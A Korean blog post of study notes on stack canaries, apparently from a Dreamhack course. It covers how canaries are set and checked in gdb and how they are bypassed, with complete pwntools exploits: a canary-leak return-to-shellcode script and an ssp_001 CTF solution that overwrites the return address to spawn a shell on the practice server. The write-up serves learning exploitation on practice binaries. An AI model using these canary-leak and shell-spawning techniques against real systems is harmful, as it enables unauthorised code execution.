LINUX

[시스템해킹] stage 6

너굴맨이해치움 2022. 9. 30. 01:08

스택 카나리(Stack Canary)

: 함수의 프롤로그에서 스택 버퍼와 반환 주소 사이에 임의 값을 삽입하고

함수 에필로그에서 해당 값의 변조를 확인하는 보호기법

  • 이 값의 변조가 확인되면 프로세스는 강제 종료됨
  • 스택버퍼오버플로우로 반환주소를 덮을 땐 반드시 카나리도 덮어야(변조해야)하므로
  • 원 카나리값을 모르고 이 값을 변조하게 되면 에필로그에서 변조가 적발되어 흐름 탈취에 실패하게 됨

 

 

 

1. 카나리 정적 분석

 

예제 코드 (스택 버퍼 오버플로우가 발생하는 코드)

// Name: canary.c
#include <unistd.h>
int main() {
  char buf[8];
  read(0, buf, 32);
  return 0;
}

(버퍼 크기는 8, 입력받는 크기는 32이므로 오버플로우 발생)

 

 

1-1. 카나리 비활성화

  • Ubuntu 18.04의 gcc는 컴파일 시 기본적으로 스택 카나리를 적용하기 때문에
  • 컴파일 옵션으로 -fno-stack-protector를 추가해야 카나리 없이 컴파일할 수 있음

 

  • 다음 명령어로 예제를 컴파일한 뒤 긴 입력을 주면 스택 버퍼 오버플로우가 발생하고
  • 반환주소가 덮여 Segmentation Fault가 발생함
$ gcc -o no_canary canary.c -fno-stack-protector
$ ./no_canary
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
Segmentation fault

 

 

1-2. 카나리 활성화

카나리를 적용한 뒤 다시 컴파일하고 긴 입력을 주면

Segmentation Fault 대신 stack smashing detected와 Aborted 에러가 발생함

= 스택 버퍼 오버플로우가 감지됨 & 그로 인해 프로세스 강제 종료되었음

$ gcc -o canary canary.c
$ ./canary
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
*** stack smashing detected ***: <unknown> terminated
Aborted

 

카나리가 없을 때와 디스어셈블 결과를 비교하면

main함수의 프롤로그/에필로그에 각각 다음 코드들이 추가된 것을 알 수 있음

   0x00000000000006b2 <+8>:     mov    rax,QWORD PTR fs:0x28     
   0x00000000000006bb <+17>:    mov    QWORD PTR [rbp-0x8],rax   
   0x00000000000006bf <+21>:    xor    eax,eax

(프롤로그)

   0x00000000000006dc <+50>:    mov    rcx,QWORD PTR [rbp-0x8]    
   0x00000000000006e0 <+54>:    xor    rcx,QWORD PTR fs:0x28      
   0x00000000000006e9 <+63>:    je     0x6f0 <main+70>                   
   0x00000000000006eb <+65>:    call   0x570 <__stack_chk_fail@plt>

(에필로그)

 

 

 

2. 카나리 동적 분석

 

 

2-1. 카나리 저장

디스어셈블된 (카나리가 있는) 프롤로그 코드에 중단점 설정 -> 바이너리 실행

   0x00000000000006b2 <+8>:     mov    rax,QWORD PTR fs:0x28     //fs:0x28의 데이터 rax에 저장
   // fs = 세그먼트 레지스터의 일종. 프로세스가 시작될 때 랜덤 값을 저장받음
   // 위 코드 실행으로 rax에는 첫 바이트가 널바이트인 8바이트 (랜덤) 데이터가 저장됨
   0x00000000000006bb <+17>:    mov    QWORD PTR [rbp-0x8],rax   //rax의 랜덤값 rbp-0x8에 저장
   0x00000000000006bf <+21>:    xor    eax,eax

 

 

2-2. 카나리 실행

추가된 에필로그 코드에 중단점 설정 -> 바이너리 계속 실행

   0x00000000000006dc <+50>:    mov    rcx,QWORD PTR [rbp-0x8]    //저장한 카나리 rcx로 이동
   0x00000000000006e0 <+54>:    xor    rcx,QWORD PTR fs:0x28      //rcx값을 fs:0x28과 비교
   // fs:0x28에는 원래의 카나리값이 들어있으므로 두 값이 동일하면 xor 연산결과는 0이 되며
   // je 조건 만족, main함수는 +70d으로 점프하여 정상적으로 반환
   // 만약 그렇지 않으면 +65의 __stack_chk_fail이 호출되며 프로그램 강제종료
   0x00000000000006e9 <+63>:    je     0x6f0 <main+70>                   
   0x00000000000006eb <+65>:    call   0x570 <__stack_chk_fail@plt>

강제종료 시 출력되는 메시지

*** stack smashing detected ***: <unknown> terminated
Program received signal SIGABRT, Aborted.

 

 

3. 카나리 생성 과정

: 카나리 값은 프로세스 시작 시 TLS에 전역 변수로 저장되고

각 함수마다 프롤로그/에필로그에서 이 값을 참조함

 

 

3-1. TLS 주소 파악

  • fs = TLS를 가리킴. fs의 값을 알면 TLS 주소도 알 수 있음
  • / 리눅스에서 fs의 값은 특정 시스템 콜을 사용해야만 조회/설정할 수 있음
  • (타 레지스터처럼 info register fs나 prints $fs 같은 명령어로는 값 알 수 없음)
  • => fs 값 설정 시 호출되는 arch_prctl(int code, unsigned long addr) 시스템 콜에 중단점 설정하여
  • fs가 어떤 값으로 설정되는지 조사
  • -> arch_prctl(ARCH_SET_FS, addr) 형태로 호출하면 fs 값이 addr로 설정됨

 

  • catch(특정 이벤트 발생 시 프로세스 중지) 명령어 사용하여
  • arch_prctl에 catchpoint 설정하고 실습에 사용한 카나리 실행
$ gdb -q ./canary
pwndbg> catch syscall arch_prctl
Catchpoint 1 (syscall 'arch_prctl' [158])
pwndbg> run

 

  • catchpoint 도달 시점에서 rdi = 0x1002. =ARCH_SET_FS의 상숫값
  • rsi = 0x7ffff7fdb4c0 이므로 이 주소에 TLS가 저장되고 fs는 이를 가리키게 될 것임
  • 카나리가 저장될 fs+0x28(0x7ffff7fdb4c0 + 0x28) 값을 보면 아직 아무 값도 설정되어 있지 않음
Catchpoint 1 (call to syscall arch_prctl), 0x00007ffff7dd6024 in init_tls () at rtld.c:740
740	rtld.c: No such file or directory.
 ► 0x7ffff7dd4024 <init_tls+276>    test   eax, eax
   0x7ffff7dd4026 <init_tls+278>    je     init_tls+321 <init_tls+321>
   0x7ffff7dd4028 <init_tls+280>    lea    rbx, qword ptr [rip + 0x22721]
pwndbg> info register $rdi
rdi            0x1002   4098          // ARCH_SET_FS = 0x1002
pwndbg> info register $rsi
rsi            0x7ffff7fdb4c0   140737354032320 
pwndbg> x/gx 0x7ffff7fdb4c0+0x28
0x7ffff7fdb4e8:	0x0000000000000000

 

 

3-2. 카나리 값 설정

  • TLS 주소를 파악했으므로 gdb의 watch 명령어로 TLS+0x28에 값을 쓸 때 (카나리값을 쓸 때) 프로세스 중단
  • watch = 특정 주소에 저장된 값이 변경되면 프로세스를 중단시키는 명령어 (주소 감시)
pwndbg> watch *(0x7ffff7fdb4c0+0x28)
Hardware watchpoint 4: *(0x7ffff7fdb4c0+0x28)

 

  • watchpoint 설정 후 프로세스 계속 진행
  • -> security_init 함수에서 프로세스 정지
pwndbg> continue
Continuing.
Hardware watchpoint 4: *(0x7ffff7fdb4c0+0x28)
Old value = 0
New value = -1942582016
security_init () at rtld.c:807
807	in rtld.c

 

  • 이 시점에서 TLS+0x28 값 조회 시
  • 0x2f35207b8c368d00이 카나리로 설정된 것을 볼 수 있음
pwndbg> x/gx 0x7ffff7fdb4c0+0x28
0x7ffff7fdb4e8:	0x2f35207b8c368d00

 

  • 실제 이 값이 카나리인지 확인 -> main함수에 중단점 설정 후 계속 실행
pwndbg> b *main
Breakpoint 3 at 0x5555555546ae

 

  • mov rax,QWORD PTR fs:0x28 실행 후 rax 값 확인 -> security_init 에서 설정한 값과 동일함이 확인됨
Breakpoint 3, 0x00005555555546ae in main ()
pwndbg> x/10i $rip
 ► 0x5555555546ae <main+4>:	    sub    rsp,0x10
   0x5555555546b2 <main+8>:	    mov    rax,QWORD PTR fs:0x28
   0x5555555546bb <main+17>:	mov    QWORD PTR [rbp-0x8],rax
   0x5555555546bf <main+21>:	xor    eax,eax
   0x5555555546c1 <main+23>:	lea    rax,[rbp-0x10]
   0x5555555546c5 <main+27>:	mov    edx,0x20
   0x5555555546ca <main+32>:	mov    rsi,rax
   0x5555555546cd <main+35>:	mov    edi,0x0
   0x5555555546d2 <main+40>:	call   0x555555554580 <read@plt>
   0x5555555546d7 <main+45>:	mov    eax,0x0
pwndbg> ni
0x00005555555546b2 in main ()
pwndbg> ni
0x00005555555546bb in main ()
pwndbg> i r $rax
rax            0x2f35207b8c368d00	3401660808553729280
pwndbg>

 

 

4. 카나리 우회

 

 

4-1. 무차별 대입(Brute Force)

  • x64 아키텍처에서는 8바이트, x86 아키텍처에서는 4바이트 카나리가 생성됨
  • 각각의 카나리에는 널 바이트가 포함되어 있으므로 실제로는 각각 7바이트/3바이트
  • => 무차별 대입으로 알아내려면 각각 256^7번, 256^3번의 연산 필요
  • 연산량이 많아 x64 아키텍처에서는 무차별 대입법 자체가 현실적으로 무리
  • x86에서는 구할 수는 있으나, 실제 서버 대상으로는 무리

 

4-2. TLS 접근

: 실행 중 TLS 주소를 알 수 있고 / 임의 주소에 대한 읽기&쓰기가 가능하다면 카나리값 열람/조작이 가능함

  • 스택버퍼오버플로우를 수행할 때 알아낸(조작한) 카나리 값으로 스택 카나리를 덮으면
  • 함수 에필로그의 카나리 검사도 우회 가능

Exploit Tech : Return to Shellcode

 

예제 코드

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
int main() {
  char buf[0x50];
  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);
  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);
  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);
  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);
  return 0;
}

 

 

 

1. 보호기법 탐지

: checksec 툴 사용

  • pwntools 설치 시 같이 설치되어 옴. ~/.local/bin/checksec에 위치함
  • 간단한 커맨드 하나로 바이너리에 적용된 보호기법 파악할 수 있음
$ checksec ./r2s
[*] '/home/dreamhack/r2s'    
  Arch:     amd64-64-little    
  RELRO:    Full RELRO
  Stack:    Canary found
  NX:       NX disabled
  PIE:      PIE enabled
  RWX:      Has RWX segments

(위 커맨드 사용 시 command not found 에러가 뜰 경우 /.bashrc의 마지막 줄에 다음 줄 추가할 것)

export PATH="$HOME/.local/bin/:$PATH"

위 확인 결과로 r2s바이너리에 카나리가 적용되어 있는 것을 확인할 수 있음

 

 

 

2. 취약점 탐색

 

2-1. buf 주소

: (실습 편의를 위해) buf 주소, rbp와 buf 사이의 주소 차 드러남

printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
        (char*)__builtin_frame_address(0) - buf);

 

2-2. 스택 버퍼 오버플로우

: 스택버퍼인 buf에 입력을 받는 총 두 번의 입력에서 모두 오버플로우가 발생함

char buf[0x50];
read(0, buf, 0x100);   // 0x50 < 0x100
gets(buf);

 

 

 

3. 익스플로잇 시나리오

 

3-1. 카나리 우회

: 두 번째 입력으로 반환 주소를 덮을 수 있지만 카나리 변조 시 프로그램이 강종되므로

  • 첫번째 입력에서 카나리를 구하고 -> 두번째 입력에서 사용해야 함
  • 첫번째 입력 바로 뒷단에서 buf를 스트링으로 출력해주기 때문에
  • buf에 적절한 오버플로우를 발생시키면 카나리 값을 드러낼 수 있을 것임
read(0, buf, 0x100);                  // Fill buf until it meets canary
printf("Your input is '%s'\n", buf);

 

 

3-2. 셸 획득

  • 지난 실습과 달리 셸 획득 함수가 주어지지 않으므로 셸 획득 코드를 직접 주입하고
  • 해당 주소로 실행흐름을 옮겨야 함
  • -> 이미 주소가 알려진 buf에 셸코드 주입 -> 해당 주소로 실행 흐름 이동하여 셸 획득

 

 

 

4. 스택 프레임 정보 수집

  • 스택 프레임 구조 파악
from pwn import *
def slog(n, m): return success(": ".join([n, hex(m)]))
p = process("./r2s")
context.arch = "amd64"
# [1] Get information about buf
p.recvuntil("buf: ")
buf = int(p.recvline()[:-1], 16)
slog("Address of buf", buf)
p.recvuntil("$rbp: ")
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog("buf <=> sfp", buf2sfp)
slog("buf <=> canary", buf2cnry)
$ python3 ./r2s.py
[+] Starting local process './r2s': pid 8501
[+] Address of buf: 0x7ffe1d28c570
[+] buf <=> sfp: 0x60
[+] buf <=> canary: 0x58

(결과값)

 

 

5. 카나리 릭

buf와 카나리 사이를 임의 값으로 채우면 프로그램에서 buf를 출력할 때 카나리도 함께 출력될 것임

스택 프레임 구조를 고려하여 카나리를 구하는 코드 작성

# [2] Leak canary value
payload = b"A"*(buf2cnry + 1)  # (+1) because of the first null-byte
p.sendafter("Input:", payload)
p.recvuntil(payload)
cnry = u64(b"\x00"+p.recvn(7))
slog("Canary", cnry)
$ python3 ./r2s.py
[+] Starting local process './r2s': pid 8564
[+] Address of buf: 0x7ffe58a8d740
[+] buf <=> sfp: 0x60
[+] buf <=> canary: 0x58
[+] Canary: 0x40e736d41cd76400

 

6. 익스플로잇

buf에 셸코드를 주입하고 카나리를 구한 값으로 덮은 뒤

-> 반환주소 (RET)를 buf로 덮으면 셸코드가 실행됨

(context.arch, shellcraft, asm을 이용하면 스크립트를 쉽게 추가할 수 있음)

# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b"A") + p64(cnry) + b"B"*0x8 + p64(buf)
# gets() receives input until "\n" is received
p.sendlineafter("Input:", payload)
p.interactive()
$ python3 ./r2s.py
[+] Starting local process './r2s': pid 8593
[+] Address of buf: 0x7ffc323acb00
[+] buf <=> sfp: 0x60
[+] buf <=> canary: 0x58
[+] Canary: 0x6955522676848000
[*] Switching to interactive mode
 $ id
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack) ...

 

 

전체 익스플로잇 코드

#!/usr/bin/env python3
# Name: r2s.py
from pwn import *
def slog(n, m): return success(": ".join([n, hex(m)]))
p = process("./r2s")
context.arch = "amd64"
# [1] Get information about buf
p.recvuntil("buf: ")
buf = int(p.recvline()[:-1], 16)
slog("Address of buf", buf)
p.recvuntil("$rbp: ")
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog("buf <=> sfp", buf2sfp)
slog("buf <=> canary", buf2cnry)
# [2] Leak canary value
payload = b"A"*(buf2cnry + 1)  # (+1) because of the first null-byte
p.sendafter("Input:", payload)
p.recvuntil(payload)
cnry = u64(b"\x00"+p.recvn(7))
slog("Canary", cnry)
# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b"A") + p64(cnry) + b"B"*0x8 + p64(buf)
# gets() receives input until "\n" is received
p.sendlineafter("Input:", payload)
p.interactive()


ssp_001

 

첨부 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}

void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}

int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}
  • 셸 획득을 위한 get_shell() 함수가 정의되어 있음
    (셸코드 별도 삽입 대신 리턴주소에 get_shell() 주소를 삽입하면 됨)
  • 유저 입력이 select 변수에 담겨 들어감
    (이 부분에서는 정확히 버퍼 길이만큼만 읽으므로 오버플로우 불가능)

 

  • 유저 입력: F > box 배열에 입력값을 넣을 수 있으나 딱 배열 길이만큼만 입력받고 있으므로 취약x
  • 유저 입력: P > scanf로 idx를 입력받고 있음
    직후 print_box로 해당 idx가 box 배열 인덱스로 들어갔을 경우의 주소값 출력
    = box부터 idx까지의 거리(바이트) 파악 가능.
    => 이후 main 함수의 어셈블리 코드를 보고 카나리 위치를 알아낸 뒤 idx에 카나리 위치를 넣으면
    box 배열부터 카나리까지의 거리를 구할 수 있음
  • 유저 입력: E > 원하는 길이를 설정해 그 길이만큼의 문자열을 넘겨줄 수 있음 
    => 페이로드(겟셸) 넘겨줄 수 있음

 

먼저 checksec으로 적용된 보호기법을 살펴본다.

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

확실하게 카나리가 적용되어 있다.

그 다음에는 메인 함수를 디스어셈블해 본다.

pwndbg> disassemble main
Dump of assembler code for function main:
   0x0804872b <+0>:     push   ebp
   0x0804872c <+1>:     mov    ebp,esp
   0x0804872e <+3>:     push   edi
   0x0804872f <+4>:     sub    esp,0x94
   0x08048735 <+10>:    mov    eax,DWORD PTR [ebp+0xc]
   0x08048738 <+13>:    mov    DWORD PTR [ebp-0x98],eax
   0x0804873e <+19>:    mov    eax,gs:0x14
   0x08048744 <+25>:    mov    DWORD PTR [ebp-0x8],eax
   0x08048747 <+28>:    xor    eax,eax
   0x08048749 <+30>:    lea    edx,[ebp-0x88]
   0x0804874f <+36>:    mov    eax,0x0
   0x08048754 <+41>:    mov    ecx,0x10
   0x08048759 <+46>:    mov    edi,edx
   0x0804875b <+48>:    rep stos DWORD PTR es:[edi],eax
   0x0804875d <+50>:    lea    edx,[ebp-0x48]
   0x08048760 <+53>:    mov    eax,0x0
   0x08048765 <+58>:    mov    ecx,0x10
   0x0804876a <+63>:    mov    edi,edx
   0x0804876c <+65>:    rep stos DWORD PTR es:[edi],eax
   0x0804876e <+67>:    mov    WORD PTR [ebp-0x8a],0x0
   0x08048777 <+76>:    mov    DWORD PTR [ebp-0x94],0x0
   0x08048781 <+86>:    mov    DWORD PTR [ebp-0x90],0x0
   0x0804878b <+96>:    call   0x8048672 <initialize>
   0x08048790 <+101>:   call   0x80486f1 <menu>
   0x08048795 <+106>:   push   0x2
   0x08048797 <+108>:   lea    eax,[ebp-0x8a]
   0x0804879d <+114>:   push   eax
   0x0804879e <+115>:   push   0x0
   0x080487a0 <+117>:   call   0x80484a0 <read@plt>
   0x080487a5 <+122>:   add    esp,0xc
   0x080487a8 <+125>:   movzx  eax,BYTE PTR [ebp-0x8a]
   0x080487af <+132>:   movsx  eax,al
   0x080487b2 <+135>:   cmp    eax,0x46
   0x080487b5 <+138>:   je     0x80487c6 <main+155>
   0x080487b7 <+140>:   cmp    eax,0x50
   0x080487ba <+143>:   je     0x80487eb <main+192>
   0x080487bc <+145>:   cmp    eax,0x45
   0x080487bf <+148>:   je     0x8048824 <main+249>
   0x080487c1 <+150>:   jmp    0x804887a <main+335>
   0x080487c6 <+155>:   push   0x804896c
   0x080487cb <+160>:   call   0x80484b0 <printf@plt>
   0x080487d0 <+165>:   add    esp,0x4
   0x080487d3 <+168>:   push   0x40
   0x080487d5 <+170>:   lea    eax,[ebp-0x88]
   0x080487db <+176>:   push   eax
   0x080487dc <+177>:   push   0x0
   0x080487de <+179>:   call   0x80484a0 <read@plt>
   0x080487e3 <+184>:   add    esp,0xc
   0x080487e6 <+187>:   jmp    0x804887a <main+335>
   0x080487eb <+192>:   push   0x8048979
   0x080487f0 <+197>:   call   0x80484b0 <printf@plt>
   0x080487f5 <+202>:   add    esp,0x4
   0x080487f8 <+205>:   lea    eax,[ebp-0x94]
   0x080487fe <+211>:   push   eax
   0x080487ff <+212>:   push   0x804898a
   0x08048804 <+217>:   call   0x8048540 <__isoc99_scanf@plt>
   0x08048809 <+222>:   add    esp,0x8
   0x0804880c <+225>:   mov    eax,DWORD PTR [ebp-0x94]
   0x08048812 <+231>:   push   eax
   0x08048813 <+232>:   lea    eax,[ebp-0x88]
   0x08048819 <+238>:   push   eax
   0x0804881a <+239>:   call   0x80486cc <print_box>
   0x0804881f <+244>:   add    esp,0x8
   0x08048822 <+247>:   jmp    0x804887a <main+335>
   0x08048824 <+249>:   push   0x804898d
   0x08048829 <+254>:   call   0x80484b0 <printf@plt>
   0x0804882e <+259>:   add    esp,0x4
   0x08048831 <+262>:   lea    eax,[ebp-0x90]
   0x08048837 <+268>:   push   eax
   0x08048838 <+269>:   push   0x804898a
   0x0804883d <+274>:   call   0x8048540 <__isoc99_scanf@plt>
   0x08048842 <+279>:   add    esp,0x8
   0x08048845 <+282>:   push   0x804899a
   0x0804884a <+287>:   call   0x80484b0 <printf@plt>
   0x0804884f <+292>:   add    esp,0x4
   0x08048852 <+295>:   mov    eax,DWORD PTR [ebp-0x90]
   0x08048858 <+301>:   push   eax
   0x08048859 <+302>:   lea    eax,[ebp-0x48]
   0x0804885c <+305>:   push   eax
   0x0804885d <+306>:   push   0x0
   0x0804885f <+308>:   call   0x80484a0 <read@plt>
   0x08048864 <+313>:   add    esp,0xc
   0x08048867 <+316>:   mov    eax,0x0
   0x0804886c <+321>:   mov    edx,DWORD PTR [ebp-0x8]
   0x0804886f <+324>:   xor    edx,DWORD PTR gs:0x14
   0x08048876 <+331>:   je     0x8048884 <main+345>
   0x08048878 <+333>:   jmp    0x804887f <main+340>
   0x0804887a <+335>:   jmp    0x8048790 <main+101>
   0x0804887f <+340>:   call   0x80484e0 <__stack_chk_fail@plt>
   0x08048884 <+345>:   mov    edi,DWORD PTR [ebp-0x4]
   0x08048887 <+348>:   leave  
   0x08048888 <+349>:   ret    
End of assembler dump.

상당한 길이지만 C코드와 잘 대조해 보면 어떤 부분이 어디에 해당되는지 대강 알아볼 수 있다.

 

 

 box부터 카나리까지의 거리를 알아보자. 이 부분을 보면 된다.

0x08048790 <+101>:   call   0x80486f1 <menu>
0x08048795 <+106>:   push   0x2
0x08048797 <+108>:   lea    eax,[ebp-0x8a]
0x0804879d <+114>:   push   eax
0x0804879e <+115>:   push   0x0
0x080487a0 <+117>:   call   0x80484a0 <read@plt>
0x080487a5 <+122>:   add    esp,0xc
0x080487a8 <+125>:   movzx  eax,BYTE PTR [ebp-0x8a]
0x080487af <+132>:   movsx  eax,al
0x080487b2 <+135>:   cmp    eax,0x46
0x080487b5 <+138>:   je     0x80487c6 <main+155>
0x080487b7 <+140>:   cmp    eax,0x50
0x080487ba <+143>:   je     0x80487eb <main+192>
0x080487bc <+145>:   cmp    eax,0x45
0x080487bf <+148>:   je     0x8048824 <main+249>
0x080487c1 <+150>:   jmp    0x804887a <main+335>

while 루프와 switch 부분이다. +140, +143 부분을 보면 read함수로부터 받은 값이 P일 때 +192로 점프하도록 되어 있다.

(문자 'P'의 아스키코드는 0x50)

같은 원리로 E를 입력하면 +249로 점프하도록 되어 있다.

 

 

0x080487eb <+192>:   push   0x8048979
0x080487f0 <+197>:   call   0x80484b0 <printf@plt>
0x080487f5 <+202>:   add    esp,0x4
0x080487f8 <+205>:   lea    eax,[ebp-0x94]
0x080487fe <+211>:   push   eax
0x080487ff <+212>:   push   0x804898a
0x08048804 <+217>:   call   0x8048540 <__isoc99_scanf@plt>
0x08048809 <+222>:   add    esp,0x8
0x0804880c <+225>:   mov    eax,DWORD PTR [ebp-0x94]
0x08048812 <+231>:   push   eax
0x08048813 <+232>:   lea    eax,[ebp-0x88]
0x08048819 <+238>:   push   eax
0x0804881a <+239>:   call   0x80486cc <print_box>

P를 입력했을 때 실행되는, +192부터의 어셈블리 코드이다.

+232를 보면 box 배열의 주소가 ebp-0x88임을 알 수 있다. 0x40바이트짜리 공간이니 0x48~0x88의 주소를 차지할 것이다.

 

0x08048824 <+249>:   push   0x804898d
0x08048829 <+254>:   call   0x80484b0 <printf@plt>
0x0804882e <+259>:   add    esp,0x4
0x08048831 <+262>:   lea    eax,[ebp-0x90]
0x08048837 <+268>:   push   eax
0x08048838 <+269>:   push   0x804898a
0x0804883d <+274>:   call   0x8048540 <__isoc99_scanf@plt>
0x08048842 <+279>:   add    esp,0x8
0x08048845 <+282>:   push   0x804899a
0x0804884a <+287>:   call   0x80484b0 <printf@plt>
0x0804884f <+292>:   add    esp,0x4
0x08048852 <+295>:   mov    eax,DWORD PTR [ebp-0x90]
0x08048858 <+301>:   push   eax
0x08048859 <+302>:   lea    eax,[ebp-0x48]
0x0804885c <+305>:   push   eax
0x0804885d <+306>:   push   0x0
0x0804885f <+308>:   call   0x80484a0 <read@plt>

+249부터 입력했을 때 실행되는, E 부분의 스위치문 코드이다.

+302를 보면 name 배열의 주소는 0x48임을 알 수 있다. 이 또한 0x40바이트짜리 배열이므로

name 배열은 0x8~0x48의 공간을 차지한다고 생각할 수 있다.

 

같은 순서로 탐색한 결과 

 

그렇다면 카나리는 어디 있을까? 이 문제에서는 유념해야 할 것이 있다.

이번 스테이지에서 우리는 카나리가 fs: 0x28에 저장된다고 배웠지만

그것은 64비트 시스템 기준이다. 32비트에서는 gs: 0x14에 저장된다고 한다.

그러면 카나리가 저장된다고 생각할 수 있는 부분은 이 부분이다.

   0x0804873e <+19>:    mov    eax,gs:0x14
   0x08048744 <+25>:    mov    DWORD PTR [ebp-0x8],eax

카나리는 0x8에 있다. 그러므로 name부터 카나리까지는 0x40바이트 차이, box부터는 0x80바이트 차이가 나는 것이다.

 

거리를 알았다면 이제 카나리 값을 알아내고 셸 함수의 주소를 얻은 뒤 리턴주소를 덮는 코드를 작성해 준다.

from pwn import *

def canary_leak(num):
    p.sendline(b'P')
    p.sendlineafter("index : ", str(num))
    p.recvuntil("is : ")
    return p.recv()[:2]

def log(a, b):
    return success(": ".join([a, hex(b)]))

p = remote("host1.dreamhack.games", 24128)
e = ELF("./ssp_001")

p.recvuntil("> ")

canary = b"0x"
canary += canary_leak(131)
canary += canary_leak(130)
canary += canary_leak(129)
canary += canary_leak(128)

canary = int(canary, 16)
get_shell = e.symbols["get_shell"]

log("Canary", canary)
log("get_shell()", get_shell)

payload = b'A'*0x40
payload += p32(canary) 
payload += b'B'*0x8 
payload += p32(get_shell)

p.sendline('E')
p.recvuntil("Size : ")
p.sendline(str(len(payload)))
p.recvuntil("Name : ")
p.sendline(payload)

p.interactive()